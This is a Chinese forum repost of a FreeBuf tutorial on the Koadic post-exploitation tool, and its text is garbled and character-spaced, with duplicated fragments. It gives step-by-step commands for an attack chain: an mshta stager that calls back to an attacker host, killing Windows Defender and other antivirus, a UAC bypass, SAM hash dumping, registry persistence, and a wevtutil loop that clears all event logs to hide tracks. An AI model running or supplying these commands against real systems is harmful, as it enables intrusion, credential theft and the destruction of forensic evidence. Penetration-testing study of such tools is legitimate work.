搜索

[14059] 2019-05-02_后渗透工具Koadic实战

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-05-02_后渗透工具Koadic实战 后 渗 透 工 具 K o a d i c 实 战 s e c i s t   F r e e B u f   2 0 1 9 - 0 5 - 0 2 渗 透 测 试 大 致 可 以 分 为 以 下 五 个 阶 段 ： 侦 察 、 扫 描 、 获 得 访 问 权 限 、 维 护 访 问 渗 透 测 试 大 致 可 以 分 为 以 下 五 个 阶 段 ： 侦 察 、 扫 描 、 获 得 访 问 权 限 、 维 护 访 问 / 持 久 性 、 数 据 渗 漏 。 持 久 性 、 数 据 渗 漏 。 K o a d i c 是 发 是 发 布 于 布 于 D E F C O N 上 的 一 个 后 渗 透 工 具 ， 它 可 用 于 以 上 列 举 的 最 后 两 个 阶 段 ， 即 权 限 维 持 和 数 据 渗 漏 。 上 的 一 个 后 渗 透 工 具 ， 它 可 用 于 以 上 列 举 的 最 后 两 个 阶 段 ， 即 权 限 维 持 和 数 据 渗 漏 。 利 用 W i n d o w s 脚 本 宿 主 ， K o a d i c 提 供 类 似 于 批 处 理 文 件 的 脚 本 功 能 。 正 因 如 此 ， 它 可 以 在 包 括 W i n d o w s   1 0 在 内 的 多 个 W i n d o w s 环 境 中 使 用 。 为 了 躲 避 杀 毒 软 件 的 查 杀 ， K o a d i c 被 设 计 为 在 内 存 中 运 行 ， 这 也 显 著 降 低 了 被 查 杀 的 可 能 性 。 此 外 ， 它 还 会 通 过 S S L 和 T L S 来 加 密 保 护 通 信 流 量 。 安 装 安 装 安 装 K o a d i c 只 需 在 终 端 上 运 行 以 下 命 令 即 可 ： 导 航 到 安 装 目 录 并 运 行 K o a d i c ： 以 下 列 出 了 K o a d i c 中 当 前 可 用 的 主 要 命 令 及 其 功 能 。 你 可 以 在 终 端 上 输 入 h e l p 来 查 看 这 些 命 令 ， 如 下 图 所 示 ： g i t   c l o n e   h t t p s : / / g i t h u b . c o m / z e r o s u m 0 x 0 / k o a d i c . g i t . / k o a d i c C o m m a n d   D e s c r i p t i o n e d i t :   s h e l l   o u t   t o   a n   e d i t o r   f o r   t h e   c u r r e n t   m o d u l e l i s t e n e r s :   s h o w s   i n f o   a b o u t   s t a g e r s s o u n d s :   t u r n   s o u n d s   o f f / o n :   s o u n d ( 0 | 1 ) h e l p :   d i s p l a y s   h e l p   i n f o   f o r   a   c o m m a n d k i l l :   k i l l   a   j o b   o r   a l l   j o b s e x i t :   e x i t s   t h e   p r o g r a m c m d s h e l l :   c o m m a n d   s h e l l   t o   i n t e r a c t   w i t h   a   z o m b i e v e r b o s e :   t u r n   v e r b o s i t y   o f f / o n :   v e r b o s e   ( 0 | 1 ) c r e d s :   s h o w s   c o l l e c t e d   c r e d e n t i a l s u n s e t :   u n s e t s   a   v a r i a b l e   f o r   t h e   c u r r e n t   m o d u l e a p i :   t u r n   o f f / o n   t h e   r e s t   a p i t a c o :   t a c o   t i m e l o a d :   r e l o a d s   a l l   m o d u l e s u s e :   s w i t c h   t o   a   d i f f e r e n t   m o d u l e i n f o :   s h o w s   t h e   c u r r e n t   m o d u l e   o p t i o n s j o b s :   s h o w s   i n f o   a b o u t   j o b s p y e x e c :   e v a l s   s o m e   p y t h o n d o m a i n :   s h o w s   c o l l e c t e d   d o m a i n   i n f o r m a t i o n s e t :   s e t s   a   v a r i a b l e   f o r   t h e   c u r r e n t   m o d u l e r u n :   r u n s   t h e   c u r r e n t   m o d u l e z o m b i e s :   l i s t s   h o o k e d   t a r g e t s
K O A D I C   模 块 模 块 K o a d i c 有 几 个 内 置 模 块 ， “ s t a g e r / j s / m s h t a ” 是 首 次 执 行 该 工 具 时 的 默 认 配 置 模 块 。 你 可 以 通 过 “ i n f o ” 命 令 来 查 看 并 配 置 模 块 。 以 上 显 示 了 用 户 需 要 配 置 的 所 有 字 段 ， 以 充 分 利 用 s t a g e r 及 目 标 机 器 。 查 看 K o a d i c 上 可 用 的 所 有 模 块 ， 请 输 入 “ u s e ” ， 然 后 双 击 T a b 键 。 你 可 以 在 使 用 工 具 期 间 ， 通 过 单 击 T a b 键 来 自 动 补 齐 命 令 或 显 示 给 定 命 令 的 可 用 选 项 。 在 本 文 中 ， 我 将 演 示 如 何 使 用 s t a g e r 连 接 到 Z o m b i e 机 器 ， 关 闭 所 有 防 病 毒 软 件 ， 执 行 权 限 提 升 ， 收 集 有 用 信 息 并 在 机 i n f o
器 上 保 持 持 久 性 ， 然 后 安 全 的 渗 漏 数 据 。 通 过 该 简 单 演 示 ， 你 将 对 K o a d i c 的 功 能 及 其 使 用 方 法 有 一 个 大 致 的 了 解 。 S T A G E R   使 用 使 用 多 年 来 ， W i n d o w s 一 直 在 不 断 加 强 其 自 身 的 防 御 能 力 。 因 此 ， W i n d o w s   D e f e n d e r 可 以 直 接 检 测 和 阻 止 大 多 数 的 s t a g e r s 。 出 于 这 个 原 因 ， 我 们 将 使 用 默 认 配 置 的 m s h t a   s t a g e r ， 因 为 它 被 检 测 和 阻 止 的 概 率 是 最 低 的 ， 甚 至 它 可 以 在 某 些 最 新 版 本 的 W i n d o w s   1 0 上 运 行 。 要 查 看 我 们 应 该 为 s t a g e r 提 供 的 参 数 信 息 ， 请 运 行 ： 从 上 图 可 以 看 出 ， 我 们 必 须 设 置 S R V H O S T 和 S R V P O R T 参 数 才 能 使 用 s a t g e r 。 运 行 以 下 命 令 ， 用 你 自 己 的 I P 替 换 I P 和 端 口 号 ： 执 行 时 ， K o a d i c 会 在 s t a g e r   l o g 中 指 定 的 地 址 生 成 一 个 s t a g e r ， 如 下 所 示 。 复 制 日 志 底 部 生 成 的 命 令 并 在 目 标 计 算 机 上 运 行 。 i n f o s e t   S R V H O S T   1 9 2 . 1 6 8 . 1 . 7 s e t   S R V P O R T   9 9 9 9 r u n
一 个 z o m b i e 机 器 被 创 建 ， 目 标 机 器 现 在 已 连 接 到 了 m s h t a   s t a g e r   s e r v e r 。 立 即 创 建 僵 尸 ， 目 标 机 器 现 在 连 接 到 m s h t a   s t a g e r 服 务 器 。 你 可 以 运 行 以 下 命 令 进 行 确 认 ： 该 命 令 将 显 示 所 有 的 z o m b i e 机 器 ， 我 们 可 以 看 到 这 里 只 显 示 了 个 “ Z o m b i e   0 ” ， 这 是 因 为 它 是 迄 今 为 止 我 们 唯 一 创 建 的 一 个 z o m b i e 。 “ 杀 死 杀 死 ” 防 毒 软 件 防 毒 软 件 下 一 步 是 杀 死 w i n d o w s   d e f e n d e r 和 所 有 其 他 正 在 运 行 的 防 病 毒 软 件 ， 以 确 保 我 们 可 以 在 目 标 计 算 机 上 执 行 任 何 我 们 想 要 执 行 的 命 令 。 你 只 需 简 单 的 运 行 以 下 命 令 即 可 ： 要 确 认 模 块 是 否 已 成 功 执 行 ， 请 运 行 ： 权 限 提 升 权 限 提 升 z o m b i e s u s e   i m p l a n t / m a n a g e / k i l l a v i n f o s e t   z o m b i e   0 z o m b i e s   0
提 权 是 一 个 非 常 重 要 的 阶 段 ， 一 旦 成 功 我 们 就 可 以 以 管 理 员 身 份 完 全 的 访 问 计 算 机 ， 并 且 还 将 获 取 更 改 计 算 机 关 键 设 置 的 权 限 。 为 此 ， 我 们 可 以 尝 试 使 用 K o a d i c 上 的 模 块 来 绕 过 U A C （ 用 户 帐 户 控 制 ） 。 成 功 率 取 决 于 目 标 机 器 的 W i n d o w s 版 本 ， 因 为 有 些 可 能 已 经 被 修 补 。 让 我 们 使 用 i m p l a n t / e l e v a t e / b y p a s s u a c _ c o m p d e f a u l t s ， 命 令 如 下 ： “ l i s t e n e r s ” 命 令 将 列 出 所 有 正 在 运 行 的 侦 听 程 序 ， 这 些 侦 听 程 序 也 被 称 为 p a y l o a d s 。 运 行 以 下 命 令 确 认 模 块 是 否 已 被 成 功 执 行 ： 可 以 看 到 一 个 新 的 z o m b i e 已 被 创 建 I D 为 1 * 。 星 号 表 示 z o m b i e 正 在 以 提 升 后 的 权 限 运 行 。 键 入 并 运 行 ： 显 示 z o m b i e 的 详 细 信 息 ， 以 验 证 其 权 限 状 态 。 u s e   i m p l a n t / e l e v a t e / b y p a s s u a c _ c o m p d e f a u l t s i n f o l i s t e n e r s s e t   p a y l o a d   0 r u n z o m b i e s z o m b i e s   1
现 在 ， 我 们 可 以 使 用 “ i m p l a n t / m a n a g e / e x e c _ c m d ” 在 C M D 上 运 行 任 何 W i n d o w s 命 令 。 让 我 们 尝 试 使 用 以 下 命 令 ： “ h o s t n a m e ” 命 令 在 目 标 机 器 上 执 行 ， 将 返 回 机 器 的 名 称 。 将 C M D 参 数 更 改 为 “ w h o a m i ” 会 返 回 我 们 正 在 运 行 的 用 户 的 名 称 ， 这 里 “ u s e r ” 为 A d m i n 用 户 ， 如 下 所 示 。 I N T E L   R A I D / 持 久 性 和 数 据 渗 漏 持 久 性 和 数 据 渗 漏 收 集 目 标 任 何 有 价 值 的 信 息 ， 我 想 是 最 激 动 和 不 可 或 缺 的 一 个 阶 段 。 这 里 ， 我 将 使 用 “ i m p l a n t / g a t h e r / h a s h d u m p _ s a m ” 模 块 ， 来 获 取 目 标 计 算 机 上 的 哈 希 值 。 命 令 如 下 ： u s e   i m p l a n t / m a n a g e / e x e c _ c m d i n f o s e t   z o m b i e   1 r u n u s e   i m p l a n t / g a t h e r / h a s h d u m p _ s a m
收 集 到 的 哈 希 值 如 下 所 示 。 在 目 标 机 器 上 保 持 持 久 性 同 样 重 要 ， 这 样 我 们 就 可 以 长 期 监 控 目 标 机 器 ， 并 进 一 步 的 获 取 有 价 值 的 信 息 。 让 我 们 使 用 ” i m p l a n t / p e r s i s t / r e g i s t r y ” 模 块 ， 运 行 以 下 命 令 ： i n f o s e t   g e t s y s h i v e   t r u e r u n u s e   i m p l a n t / p e r s i s t / r e g i s t r y i n f o l i s t e n e r s s e t   p a y l o a d   0 s e t   z o m b i e   1 r u n
使 用 该 模 块 ， 我 们 可 以 将 “ C L E A N U P ” 参 数 设 置 为 “ t r u e ” 以 删 除 注 册 表 项 ， 从 而 隐 藏 我 们 的 轨 迹 。 对 于 刚 刚 我 们 获 取 哈 希 值 的 操 作 ， 可 以 运 行 “ f o r   / F   “ t o k e n s = * ”   % 1   i n   ( ‘ w e v t u t i l . e x e   e l ’ )   D O   w e v t u t i l . e x e   c l   “ % 1 ″ ” 命 令 ， 使 用 “ i m p l a n t / m a n a g e / e x e c _ c m d ” 模 块 来 清 除 所 有 事 件 日 志 。 命 令 如 下 ： 最 后 ， 请 记 住 无 论 何 时 都 请 遵 守 道 德 黑 客 的 原 则 。 如 果 你 对 本 文 有 任 何 的 疑 问 ， 可 以 随 时 与 我 取 得 联 系 。 感 谢 阅 读 ！ * 参 考 来 源 ： p r i s m a c s i ， F B 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 推 荐 阅 读 推 荐 阅 读 u s e   i m p l a n t / m a n a g e / e x e c _ c m d i n f o s e t   z o m b i e   1 s e t   C M D   f o r   / F   “ t o k e n s = * ”   % 1   i n   ( ‘ w e v t u t i l . e x e   e l ’ )   D O   w e v t u t i l . e x e   c l   “ % 1 ” r u n
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理